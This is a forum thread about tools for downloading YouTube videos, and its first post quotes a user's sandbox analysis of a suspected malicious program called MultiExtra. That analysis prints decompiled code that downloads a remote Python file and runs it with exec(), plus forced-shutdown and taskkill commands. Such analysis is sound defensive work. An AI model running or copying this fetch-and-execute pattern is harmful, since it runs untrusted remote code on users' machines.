Re: Best Recommendations for Downloading Youtube Videos
Krantikari, have you read any of this? This is from the topic that was made about this a long time ago.Really look. You don't just fix, something like this. Also remember blind extra, which was a virus, no question about it.Posts start.OK, OK. Everyone cool it. As we speak I am sandboxing the program and am going to post my findings once I have unpacked the setup files and can get access to the actual executable (the setup itself is not harmful, according to virus total). Analyzing the installed program in my sandbox, I notice many things off of the bat, one of which is notable -- this program is written in Python! Python 3.6, to be precise. Extracting the setup file ("installing" it in my sandbox) and extracting the .exe file, I see the pyinstaller archive files, and now I have the compiled python bytecode. At this stage decompilation is trivial: I see that the app has the standard python stdlib, chardot, and this file called... MEX.pyc. Mmm... and what could this be?Oh dear! Some suspicious code! Looky, friends:import glob, wx, urllib.request, re, sys, webbrowser, threading, subprocess, os, locale, win32clipboard, pyperclip, datetime, time, ctypes, gettextfrom html2text import html2textfrom playsound import playsoundimport encodings.idnaget = os.environ['temp']item = urllib.request.urlretrieve('http://softjewel.droppages.com/MultiExtra/Data/MAX.py', 'MAX.py')exec(open('MAX.py').read())Looking at this "max.py" file...First, it imports its "needed" modules. Then... there's this exception handler that gets it to try to remove itself from the file system. Should that fail, it does nothing.Next, it trys to change to c:\ProgramData\MultiExtra. Not sue how that'll work since the app doesn't create it (maybe the setup does?). It then creates an appdata folder and creates its multiextra.ini file.The worying thing however is how many downloads this thing does. There's another download on line 92 (the rest of the above discussion is just it doing its normal configuration) that it reads from using the URL http://softjewel.droppages.com/MultiExtra/Data/MAX.txt. (Note the lack of 'https'.) This file... doesn't seem to contain anything, if I browse to it. It also links to NVDA as well. (Note that this is the "actual" NVDA file, and is not malicious -- just version 2018.1.1, but it replaces that with the latest version on softpedia for some reason.)We're not done though! This program also seems to do some very disturbing subprocess calls. In particular:Line 474: subprocess.Popen("taskkill /f /pid {pid} /t".format(pid=self.process.pid), startupinfo=info)It also runs command prompt:Line 560: subprocess.Popen("cmd.exe /c pushd " + self.DPath + " & start MultiExtraDownloads\Apps", startupinfo=info)And this...Line 562: subprocess.Popen("shutdown.exe -s -t 0", startupinfo=info)And, of course, the end of the application, when it try's to taskkill itself instead of exiting properly:Line 2,195: subprocess.Popen("taskkill /f /im MultiExtra.exe", startupinfo=info, shell=True)Some things to note with these subprocess calls:* Line 474: subprocess.Popen("taskkill /f /pid {pid} /t".format(pid=self.process.pid), startupinfo=info): This one isn't harmful -- unless, of course, he sets it to something like csrss's PID or another critical system process if he's able to gain that level of privilege.* Line 560: subprocess.Popen("cmd.exe /c pushd " + self.DPath + " & start MultiExtraDownloads\Apps", startupinfo=info): this one is... entirely unnecessary and pointless. I don't get it. I don't really get what its trying to do (I think "MultiExtraDownloads\Apps" is some kind of executable or batch script or something like that).* Line 562: subprocess.Popen("shutdown.exe -s -t 0", startupinfo=info): -s shuts down the computer, only; -t (/t) ells it to do an immediate shutdown.There are also some other os.remove calls that are in here. I'd be happy to fully decompile all the code and upload it somewhere for people like cartertemm to go over and review.As for the "this program steels files" accusation, I'm checking on that.OK, I can't confirm that either way. It doesn't use shutil or networking -- that I can see anyway, other than urllib. It doesn't use shutil so it can't do any bulk copys, and it doesn't use os.rename, os.renames, or os.link/os.unlink, nor does it contact any remote servers via obscure protocols. Not that I can find, at any rate. So I think that for now we can discard that accusation (though don't bank on that, I didn't decompile the entire program tree).In sum: the program does some disturbing activity which I'd like others to take up (I'm not going to read the entire program). On the surface it is *not* harmful. I repeat: it is *not* harmful on the surface. However, I would hold off accusations and destruct

Re: Best Recommendations for Downloading Youtube Videos
Re: Best Recommendations for Downloading Youtube Videos Quite some time ago, someone on this forum uploaded some batch files which interface with youtubeDL. It comes with a text document called links.txt which you paste any amount of URL's into that you want, each on a separate line. Then, depending on which format you want, you run the corresponding file (always as an administrator, it never worked for me otherwise) so, if you just want video, you run Youtube2video.bat. I can upload that if the person doesn't mind, I honestly don't remember who it was or if they're still posting here, but I figured I'd ask first in case they've decided they don't want those files floating around for some reason. I love this method because it really couldn't get much simpler.I do still use Pontes on occasion, but the only thing that does that this doesn't is tag your files, so that's why I'll choose that method on occasion if I'm lazy and don't want to manually add ID3 tags myself.

Re: Best Recommendations for Downloading Youtube Videos
Re: Best Recommendations for Downloading Youtube Videos Hi.Youtube-dl is easy to use, download the exe program, put it in the place you want to download the videos to, then go to command line and cd into that folder.Here's an example: cd downloads.Press enter, now you're in the downloads folder, type the following, youtube-dl space and paste the URL of the Video and press enter.You can do things with templats but i don't know much about that and you can download a thing to convert files to other formats but someone else will have to help you with that.
